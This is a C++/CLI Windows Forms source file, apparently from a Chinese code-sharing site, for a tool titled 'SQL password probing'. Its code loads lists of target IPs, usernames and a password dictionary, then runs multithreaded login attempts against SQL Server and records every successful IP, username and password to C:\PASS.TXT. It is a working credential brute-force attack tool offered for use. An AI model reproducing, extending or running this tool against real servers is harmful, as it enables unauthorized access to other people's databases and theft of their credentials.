📄 form1.h
字号:
this->checkBox1->AutoSize = true;
this->checkBox1->Location = System::Drawing::Point(8, 82);
this->checkBox1->Name = L"checkBox1";
this->checkBox1->Size = System::Drawing::Size(72, 16);
this->checkBox1->TabIndex = 16;
this->checkBox1->Text = L"使用列表";
this->checkBox1->UseVisualStyleBackColor = true;
//
// 超时
//
this->超时->Location = System::Drawing::Point(86, 48);
this->超时->Name = L"超时";
this->超时->Size = System::Drawing::Size(63, 21);
this->超时->TabIndex = 17;
this->超时->Text = L"2000";
//
// label4
//
this->label4->AutoSize = true;
this->label4->Location = System::Drawing::Point(9, 51);
this->label4->Name = L"label4";
this->label4->Size = System::Drawing::Size(59, 12);
this->label4->TabIndex = 18;
this->label4->Text = L"连接超时:";
//
// Form1
//
this->AutoScaleDimensions = System::Drawing::SizeF(6, 12);
this->AutoScaleMode = System::Windows::Forms::AutoScaleMode::Font;
this->ClientSize = System::Drawing::Size(521, 302);
this->Controls->Add(this->groupBox4);
this->Controls->Add(this->加入用户列表);
this->Controls->Add(this->groupBox3);
this->Controls->Add(this->progressBar1);
this->Controls->Add(this->字典路径);
this->Controls->Add(this->加入字典);
this->Controls->Add(this->groupBox2);
this->Controls->Add(this->加入IP列表);
this->Controls->Add(this->groupBox1);
this->Controls->Add(this->开始);
this->Name = L"Form1";
this->Text = L"SQL密码探测";
this->groupBox1->ResumeLayout(false);
this->groupBox2->ResumeLayout(false);
(cli::safe_cast<System::ComponentModel::ISupportInitialize^ >(this->numericUpDown1))->EndInit();
this->groupBox3->ResumeLayout(false);
this->groupBox4->ResumeLayout(false);
this->groupBox4->PerformLayout();
this->ResumeLayout(false);
this->PerformLayout();
}
#pragma endregion
LONGLONG m_llTimeStart;
LONGLONG m_llTimeEnd;
double m_fTimeEscape;
LONGLONG m_llCountPreSecond;
String^ 字典路径显示;
String^用户列表;
String^IP列表;
double GetRunTime()//取得运行时间
{
double dwSpan;
if( m_llCountPreSecond != 0 )
{
dwSpan = (double)( m_llTimeEnd - m_llTimeStart );
dwSpan /= m_llCountPreSecond;//执行的秒数
dwSpan *= 1000.0f;//执行的毫秒数
}
else
{
dwSpan = (double)( m_llTimeEnd - m_llTimeStart );
}
return dwSpan;
}
//得当前时间
LONGLONG _CurTime()
{
LONGLONG llCount;
LARGE_INTEGER ll_Int;
if( (0 != m_llCountPreSecond) && QueryPerformanceCounter(&ll_Int) )
{
llCount = ll_Int.QuadPart;
}
else
{//如果机器不支持高精度计时器,就采用多媒体计时器
llCount = (LONGLONG)timeGetTime();
}
return llCount;
}
void StartStat()//开始统计
{
m_llTimeStart = _CurTime();
}
void EndStat()//结束统计
{
m_llTimeEnd = _CurTime();
}
public: void 线程( Object^mainEvent)
{
State^ stateInfo = dynamic_cast<State^>(mainEvent);
try
{
String^ MySqlConnection="user id="+stateInfo->用户名+";password="+stateInfo->密码+";Database =;data source="+stateInfo->IP+";Connect Timeout="+超时->Text;
// if(stateInfo->密码=="gyjyzw1113")
// MessageBox::Show("来了:"+stateInfo->密码,"信息提示",MessageBoxButtons::OK,MessageBoxIcon::Information);
SqlConnection^ myConnection = gcnew SqlConnection(MySqlConnection);
myConnection->Open();
//MessageBox::Show("登录成功:"+stateInfo->密码,"信息提示",MessageBoxButtons::OK,MessageBoxIcon::Information);
FileStream^ fs = gcnew FileStream( "C:\\PASS.TXT", FileMode::Append,FileAccess::Write);
StreamWriter^ sw = gcnew StreamWriter(fs, System::Text::Encoding::GetEncoding("GB2312"));
sw->Write("IP:"+stateInfo->IP+"---用户:"+stateInfo->用户名+"---密码:"+stateInfo->密码+"\r\n");
sw->Close();
fs->Close();
array<String^>^ MyItems=gcnew array<String^>(3);
MyItems[0]=stateInfo->IP;
MyItems[1]=stateInfo->用户名;
MyItems[2]=stateInfo->密码;
listView1->Items->Add(gcnew ListViewItem(MyItems));
myConnection->Close();
}
catch(Exception^ MyEx)
{
// MessageBox::Show("数据库记录出现错误:"+MyEx->Message,"信息提示",MessageBoxButtons::OK,MessageBoxIcon::Information);
}
progressBar1->PerformStep(); // Step= 1
dynamic_cast<AutoResetEvent^>(stateInfo->autoEvent)->Set();
}
public: Thread^ 运行线程;//多线程
public: void 运行()
{
try
{
BOOL PD=false;
int z=0;
if(checkBox1->Checked==false)
{
StartStat();
int n=0;
PD=false;
String^ sLin="";
AutoResetEvent^ mainEvent = gcnew AutoResetEvent( false );
int workerThreads;
int completionPortThreads;
ThreadPool::GetMaxThreads(workerThreads, completionPortThreads);
StreamReader^ objReader行数 = gcnew StreamReader(字典路径显示,System::Text::Encoding::GetEncoding("GB2312") );
while (objReader行数->ReadLine())
n++;
objReader行数->Close();
progressBar1->Value =0;
progressBar1->Maximum = n;
progressBar1->Step = 1;
StreamReader^ objReader = gcnew StreamReader(字典路径显示,System::Text::Encoding::GetEncoding("GB2312") );
while (z<=n)
{
z++;
//sLin="";
// if(sLin=objReader->ReadLine())
// {
sLin=objReader->ReadLine();
State^ stateInfo = gcnew State( 用户->Text,sLin,目标IP->Text,mainEvent );
// if(sLin=="gyjyzw1113")
// MessageBox::Show("第一:"+stateInfo->密码,"信息提示",MessageBoxButtons::OK,MessageBoxIcon::Information);
ThreadPool::QueueUserWorkItem( gcnew WaitCallback(this, &SQL密码探测NET版::Form1::线程 ), stateInfo);
mainEvent->WaitOne(Convert::ToInt32(numericUpDown1->Text), false );
// }
// else
// {
// PD=true;
// break;
// }
}
objReader->Close();
}
else
{
StartStat();
for(int b=0;b<listBox1->Items->Count;b++)
{
PD=false;
String^ IPtemp= listBox1->Items[b]->ToString();
for(int c=0;c<listBox2->Items->Count;c++)
{
PD=false;
String^ 用户temp= listBox2->Items[c]->ToString();
目标IP->Text=IPtemp;
用户->Text=用户temp;
int n=0;
String^ sLin="";
AutoResetEvent^ mainEvent = gcnew AutoResetEvent( false );
int workerThreads;
int completionPortThreads;
ThreadPool::GetMaxThreads(workerThreads, completionPortThreads);
StreamReader^ objReader行数 = gcnew StreamReader(字典路径显示,System::Text::Encoding::GetEncoding("GB2312") );
while (objReader行数->ReadLine())
n++;
objReader行数->Close();
progressBar1->Value =0;
progressBar1->Maximum = n;
progressBar1->Step = 1;
StreamReader^ objReader = gcnew StreamReader(字典路径显示,System::Text::Encoding::GetEncoding("GB2312") );
while (z<=n)
{
z++;
sLin=objReader->ReadLine();
State^ stateInfo = gcnew State( 用户->Text,sLin,目标IP->Text,mainEvent );
ThreadPool::QueueUserWorkItem( gcnew WaitCallback(this, &SQL密码探测NET版::Form1::线程 ), stateInfo);
mainEvent->WaitOne(Convert::ToInt32(numericUpDown1->Text), false );
}
objReader->Close();
// Sleep(5000);
}
//Sleep(5000);
}
}
EndStat();
时间->Text="扫描共用"+(GetRunTime()/1000).ToString()+"秒";
}
catch (Exception^ MyEx)
{
MessageBox::Show(MyEx->Message, "信息提示", MessageBoxButtons::OK, MessageBoxIcon::Information);
}
}
private: System::Void 开始_Click(System::Object^ sender, System::EventArgs^ e)
{
listView1->Items->Clear();
ThreadStart^ MyDelegate = gcnew ThreadStart(this,&SQL密码探测NET版::Form1::运行);
Thread^ 运行线程 = gcnew Thread(MyDelegate);
运行线程->Start();
}
private: System::Void 加入IP列表_Click(System::Object^ sender, System::EventArgs^ e)
{
try
{
listBox1->Items->Clear();
BOOL PD=false;
int i=0;
if ( openFileDialog1->ShowDialog() == System::Windows::Forms::DialogResult::OK)
{
IP列表=openFileDialog1->FileName;
StreamReader^ objReader = gcnew StreamReader(IP列表,System::Text::Encoding::GetEncoding("GB2312") );
String^ sLin="";
while (PD==false)
{
sLin=objReader->ReadLine();
if(sLin!="")
listBox1->Items->Add(sLin);
if(sLin->ToString()=="")
{
i++;
if(i==5)
{
i=0;
PD=true;
}
}
}
objReader->Close();
}
else
System::Windows::Forms::MessageBox::Show("文件没打开","注意了",MessageBoxButtons::OK);
}
catch (Exception^ MyEx)
{
// MessageBox::Show(MyEx->Message, "信息提示", MessageBoxButtons::OK, MessageBoxIcon::Information);
}
}
private: System::Void 加入字典_Click(System::Object^ sender, System::EventArgs^ e)
{
if ( openFileDialog2->ShowDialog() == System::Windows::Forms::DialogResult::OK)
{
字典路径显示=openFileDialog2->FileName;
字典路径->Text=字典路径显示;
开始->Enabled=true;
}
}
private: System::Void 加入用户列表_Click(System::Object^ sender, System::EventArgs^ e)
{
try
{
listBox2->Items->Clear();
BOOL PD=false;
int i=0;
if ( openFileDialog3->ShowDialog() == System::Windows::Forms::DialogResult::OK)
{
用户列表=openFileDialog3->FileName;
StreamReader^ objReader = gcnew StreamReader(用户列表,System::Text::Encoding::GetEncoding("GB2312") );
String^ sLin="";
while (PD==false)
{
sLin=objReader->ReadLine();
if(sLin!="")
listBox2->Items->Add(sLin);
if(sLin->ToString()=="")
{
i++;
if(i==5)
{
i=0;
PD=true;
}
}
}
objReader->Close();
}
else
System::Windows::Forms::MessageBox::Show("文件没打开","注意了",MessageBoxButtons::OK);
}
catch (Exception^ MyEx)
{
// MessageBox::Show(MyEx->Message, "信息提示", MessageBoxButtons::OK, MessageBoxIcon::Information);
}
}
};
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -